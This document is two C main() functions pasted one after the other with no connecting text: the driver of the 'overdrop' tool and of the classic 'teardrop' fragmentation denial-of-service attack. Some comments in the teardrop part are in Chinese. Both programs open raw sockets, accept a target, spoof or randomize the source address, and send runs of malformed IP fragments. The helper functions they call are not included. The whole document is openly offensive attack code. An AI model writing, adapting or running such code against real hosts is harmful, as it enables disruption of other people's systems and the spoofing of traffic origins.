int main(int argc, char **argv) {
int one=1,count=0,i,rip_sock;
u_long src_ip=0,dst_ip=0;
u_short src_prt=0,dst_prt=0;
struct in_addr addr;
fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n");
if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc < 2) usage(argv[0]);
if (!(dst_ip=name_resolve(argv[1]))) {
fprintf(stderr,"Can't resolve destination address.\n");
exit(1);
}
while ((i=getopt(argc,argv,"s:n:"))!=EOF) {
switch (i) {
case 'n':
count = atoi(optarg);
break;
case 's':
if (!(src_ip=name_resolve(optarg))) {
fprintf(stderr,"Can't resolve source address.\n");
exit(1);
}
break;
default:
usage(argv[0]);
break;
}
}
srandom((unsigned)(time((time_t)0)));
if (!count) count=COUNT;
fprintf(stderr,"Sending oversized packets:\nFrom: ");
if (!src_ip) fprintf(stderr," (random)"); else {
addr.s_addr = src_ip;
fprintf(stderr,"%15s",inet_ntoa(addr));
}
addr.s_addr = dst_ip;
fprintf(stderr,"\n To: %15s\n",inet_ntoa(addr));
fprintf(stderr," Amt: %5d\n",count);
fprintf(stderr,"[ ");
for (i=0;i<count;i++) {
if (!src_ip) send_frags(rip_sock,rand(),dst_ip,rand(),rand()); else
send_frags(rip_sock,src_ip,dst_ip,rand(),rand());
fprintf(stderr, "b00z ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
int main(int argc, char **argv)
{
int one = 1,
count = 0,
i,
rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
//由系统处理IP校验和。
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}